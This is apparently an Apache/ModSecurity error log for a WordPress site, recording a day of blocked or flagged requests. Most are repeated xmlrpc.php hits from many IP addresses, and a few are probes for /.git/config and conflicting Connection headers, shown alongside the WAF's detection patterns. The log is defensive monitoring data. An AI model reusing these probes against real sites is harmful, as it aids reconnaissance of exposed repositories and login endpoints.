[Mon Apr 13 13:40:24.743543 2026] [:error] [pid 63406:tid 63421] [client 43.225.22.138:58012] [client 43.225.22.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.225.22.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyByLHZEIkQ0Zmgp5qbJQAAAMo"]
[Mon Apr 13 13:40:36.048149 2026] [:error] [pid 7228:tid 7254] [client 43.225.22.138:59194] [client 43.225.22.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.225.22.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyB1AEnn1dQrOSHHNXfKgAAARg"]
[Mon Apr 13 13:40:47.599074 2026] [:error] [pid 63406:tid 63411] [client 43.225.22.138:60002] [client 43.225.22.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.225.22.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyB37HZEIkQ0Zmgp5qbbAAAAMA"]
[Mon Apr 13 13:43:03.972957 2026] [:error] [pid 63311:tid 63376] [client 213.133.104.164:44292] [client 213.133.104.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.133.104.164, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyCZ6HjrGN1MqBCVFmVXAAAAIU"]
[Mon Apr 13 13:43:24.605544 2026] [:error] [pid 57183:tid 57185] [client 137.184.46.218:48544] [client 137.184.46.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.46.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyCfDDO3t8R5NaxzYRU3QAAAUA"]
[Mon Apr 13 13:46:45.060875 2026] [:error] [pid 7228:tid 7230] [client 85.128.143.134:40750] [client 85.128.143.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyDRQEnn1dQrOSHHNXlIAAAAQA"]
[Mon Apr 13 13:46:48.437617 2026] [:error] [pid 63311:tid 63374] [client 141.94.27.49:57774] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyDSKHjrGN1MqBCVFmW6QAAAIM"]
[Mon Apr 13 13:48:16.381847 2026] [:error] [pid 57183:tid 57195] [client 185.74.80.5:50920] [client 185.74.80.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.74.80.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyDoDDO3t8R5NaxzYRY9AAAAUo"]
[Mon Apr 13 13:48:27.098611 2026] [:error] [pid 63310:tid 63358] [client 5.42.124.21:43188] [client 5.42.124.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.42.124.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyDq3oXpRU5ztmwPjIEVwAAAE4"]
[Mon Apr 13 13:56:35.197099 2026] [:error] [pid 7228:tid 7240] [client 217.160.15.203:34546] [client 217.160.15.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.15.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyFkwEnn1dQrOSHHNXsmwAAAQo"]
[Mon Apr 13 13:56:56.057334 2026] [:error] [pid 63309:tid 63319] [client 155.133.142.66:46989] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyFqEpIKZ10weXpf0XhbQAAAAY"]
[Mon Apr 13 14:00:34.443993 2026] [:error] [pid 7228:tid 7232] [client 82.223.70.218:37076] [client 82.223.70.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.70.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyGggEnn1dQrOSHHNXuswAAAQI"]
[Mon Apr 13 14:01:18.573120 2026] [:error] [pid 63406:tid 63411] [client 82.154.116.112:54874] [client 82.154.116.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.154.116.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyGrrHZEIkQ0Zmgp5qkCgAAAMA"]
[Mon Apr 13 14:03:23.009094 2026] [:error] [pid 57183:tid 57204] [client 3.16.241.180:35342] [client 3.16.241.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.16.241.180, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyHKzDO3t8R5NaxzYRg8wAAAVM"]
[Mon Apr 13 14:11:21.600764 2026] [:error] [pid 63309:tid 63322] [client 185.74.81.105:38188] [client 185.74.81.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.74.81.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyJCUpIKZ10weXpf0XkZAAAAAk"]
[Mon Apr 13 14:13:04.439252 2026] [:error] [pid 57183:tid 57194] [client 20.218.128.24:60808] [client 20.218.128.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.218.128.24, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyJcDDO3t8R5NaxzYRlfgAAAUk"]
[Mon Apr 13 14:13:38.060521 2026] [:error] [pid 7228:tid 7232] [client 85.215.188.44:40658] [client 85.215.188.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.215.188.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyJkgEnn1dQrOSHHNX3qgAAAQI"]
[Mon Apr 13 14:15:15.171595 2026] [:error] [pid 63309:tid 63331] [client 51.159.190.214:49308] [client 51.159.190.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.190.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyJ80pIKZ10weXpf0XlRQAAABI"]
[Mon Apr 13 14:17:40.303188 2026] [:error] [pid 57183:tid 57199] [client 108.181.199.63:39784] [client 108.181.199.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 108.181.199.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyKhDDO3t8R5NaxzYRpBwAAAU4"]
[Mon Apr 13 14:33:50.102888 2026] [:error] [pid 57183:tid 57190] [client 180.194.116.30:56129] [client 180.194.116.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.194.116.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyOTjDO3t8R5NaxzYRzjAAAAUU"]
[Mon Apr 13 14:34:02.830791 2026] [:error] [pid 63406:tid 63434] [client 180.194.116.30:56385] [client 180.194.116.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.194.116.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyOWrHZEIkQ0Zmgp5qxKgAAANc"]
[Mon Apr 13 14:34:17.127626 2026] [:error] [pid 7228:tid 7237] [client 180.194.116.30:56705] [client 180.194.116.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.194.116.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyOaQEnn1dQrOSHHNUJrgAAAQc"]
[Mon Apr 13 14:39:41.697986 2026] [:error] [pid 7228:tid 7236] [client 54.36.181.89:57324] [client 54.36.181.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.181.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyPrQEnn1dQrOSHHNUOrQAAAQY"]
[Mon Apr 13 14:47:57.314033 2026] [:error] [pid 7228:tid 7237] [client 95.110.143.247:33748] [client 95.110.143.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.110.143.247, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyRnQEnn1dQrOSHHNUWrAAAAQc"]
[Mon Apr 13 14:57:19.325286 2026] [:error] [pid 7228:tid 7254] [client 170.106.107.87:38452] [client 170.106.107.87] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adyTzwEnn1dQrOSHHNUcVwAAARg"]
[Mon Apr 13 14:58:29.456213 2026] [:error] [pid 63311:tid 63372] [client 45.87.221.196:48846] [client 45.87.221.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.87.221.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyUFaHjrGN1MqBCVFmuTAAAAIE"]
[Mon Apr 13 15:00:42.553037 2026] [:error] [pid 7228:tid 7250] [client 34.73.73.46:35048] [client 34.73.73.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.73.46, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyUmgEnn1dQrOSHHNUefgAAARQ"]
[Mon Apr 13 15:02:39.116361 2026] [:error] [pid 7228:tid 7248] [client 15.207.37.86:47564] [client 15.207.37.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.207.37.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyVDwEnn1dQrOSHHNUgCQAAARI"]
[Mon Apr 13 15:15:06.736516 2026] [:error] [pid 7228:tid 7239] [client 51.83.154.40:34486] [client 51.83.154.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.154.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyX-gEnn1dQrOSHHNUokAAAAQk"]
[Mon Apr 13 15:15:12.757970 2026] [:error] [pid 7228:tid 7234] [client 194.182.64.134:40094] [client 194.182.64.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.182.64.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyYAAEnn1dQrOSHHNUooAAAAQQ"]
[Mon Apr 13 15:16:32.141056 2026] [:error] [pid 63406:tid 63417] [client 43.156.13.166:44922] [client 43.156.13.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.156.13.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyYULHZEIkQ0Zmgp5rAqQAAAMY"]
[Mon Apr 13 15:28:42.164609 2026] [:error] [pid 63311:tid 63392] [client 155.133.138.66:38427] [client 155.133.138.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.138.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adybKqHjrGN1MqBCVFm2tgAAAJU"]
[Mon Apr 13 15:29:42.897915 2026] [:error] [pid 7228:tid 7238] [client 162.62.132.25:47438] [client 162.62.132.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adybZgEnn1dQrOSHHNU2JQAAAQg"]
[Mon Apr 13 15:31:28.584112 2026] [:error] [pid 63406:tid 63427] [client 54.36.209.212:44336] [client 54.36.209.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.209.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyb0LHZEIkQ0Zmgp5rHDQAAANA"]
[Mon Apr 13 15:32:29.964266 2026] [:error] [pid 63406:tid 63434] [client 155.133.138.66:40908] [client 155.133.138.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.138.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adycDbHZEIkQ0Zmgp5rHcQAAANc"]
[Mon Apr 13 15:33:41.185691 2026] [autoindex:error] [pid 57183:tid 57201] [client 143.110.250.39:63881] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Apr 13 15:43:46.558274 2026] [:error] [pid 9314:tid 9334] [client 54.38.178.30:51558] [client 54.38.178.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.178.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyesm_r4W8fX2GWyGSgYgAAAZI"]
[Mon Apr 13 15:48:55.172047 2026] [:error] [pid 63406:tid 63416] [client 211.21.61.223:43890] [client 211.21.61.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyf57HZEIkQ0Zmgp5rTlQAAAMU"]
[Mon Apr 13 15:54:55.000897 2026] [:error] [pid 57183:tid 57185] [client 59.125.102.142:46958] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyhTjDO3t8R5NaxzYShIAAAAUA"]
[Mon Apr 13 15:59:16.865401 2026] [:error] [pid 9314:tid 9333] [client 144.91.86.124:57518] [client 144.91.86.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.91.86.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyiVG_r4W8fX2GWyGSo7wAAAZE"]
[Mon Apr 13 16:08:20.009511 2026] [:error] [pid 63311:tid 63379] [client 173.249.51.70:39516] [client 173.249.51.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.51.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adykdKHjrGN1MqBCVFnBOwAAAIg"]
[Mon Apr 13 16:09:39.016090 2026] [:error] [pid 63406:tid 63435] [client 15.207.37.86:52756] [client 15.207.37.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.207.37.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adykw7HZEIkQ0Zmgp5rlGgAAANg"]
[Mon Apr 13 16:17:25.416663 2026] [:error] [pid 63406:tid 63422] [client 103.39.132.40:34458] [client 103.39.132.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.39.132.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adymlbHZEIkQ0Zmgp5ru_wAAAMs"]
[Mon Apr 13 16:27:13.740879 2026] [:error] [pid 57183:tid 57201] [client 157.245.107.90:34220] [client 157.245.107.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.107.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyo4TDO3t8R5NaxzYS4CAAAAVA"]
[Mon Apr 13 16:31:54.940377 2026] [:error] [pid 57183:tid 57185] [client 78.47.118.248:49810] [client 78.47.118.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.47.118.248, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyp-jDO3t8R5NaxzYS6agAAAUA"]
[Mon Apr 13 16:34:35.231819 2026] [:error] [pid 9314:tid 9328] [client 80.211.125.234:36696] [client 80.211.125.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.211.125.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyqm2_r4W8fX2GWyGS3lwAAAYw"]
[Mon Apr 13 16:35:27.573907 2026] [:error] [pid 63406:tid 63424] [client 147.45.149.57:41236] [client 147.45.149.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.45.149.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyqz7HZEIkQ0Zmgp5r80AAAAM0"]
[Mon Apr 13 16:40:21.685525 2026] [:error] [pid 63311:tid 63375] [client 95.110.143.247:57430] [client 95.110.143.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.110.143.247, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyr9aHjrGN1MqBCVFnH0gAAAIQ"]
[Mon Apr 13 16:43:29.871429 2026] [:error] [pid 57183:tid 57201] [client 192.250.227.63:46280] [client 192.250.227.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.227.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyssTDO3t8R5NaxzYTAGgAAAVA"]
[Mon Apr 13 16:52:55.488571 2026] [:error] [pid 9314:tid 9320] [client 137.184.132.132:60228] [client 137.184.132.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "adyu52_r4W8fX2GWyGS_rwAAAYQ"]
[Mon Apr 13 16:52:58.984879 2026] [:error] [pid 63310:tid 63358] [client 137.184.132.132:57678] [client 137.184.132.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "adyu6noXpRU5ztmwPjIryAAAAE4"]
[Mon Apr 13 17:01:08.896413 2026] [:error] [pid 63406:tid 63428] [client 157.230.98.69:37582] [client 157.230.98.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.98.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyw1LHZEIkQ0Zmgp5oSbQAAANE"]
[Mon Apr 13 17:02:45.326703 2026] [:error] [pid 63406:tid 63416] [client 146.59.70.139:57776] [client 146.59.70.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.70.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyxNbHZEIkQ0Zmgp5oTvAAAAMU"]
[Mon Apr 13 17:07:26.897626 2026] [:error] [pid 63311:tid 63384] [client 202.157.175.19:52280] [client 202.157.175.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.157.175.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyyTqHjrGN1MqBCVFnPWwAAAI0"]
[Mon Apr 13 17:09:58.791782 2026] [:error] [pid 63310:tid 63364] [client 35.198.41.118:36106] [client 35.198.41.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.198.41.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyy5noXpRU5ztmwPjIuoAAAAFQ"]
[Mon Apr 13 17:13:27.312027 2026] [:error] [pid 9314:tid 9330] [client 212.47.74.48:34732] [client 212.47.74.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.47.74.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyzt2_r4W8fX2GWyGTJbwAAAY4"]
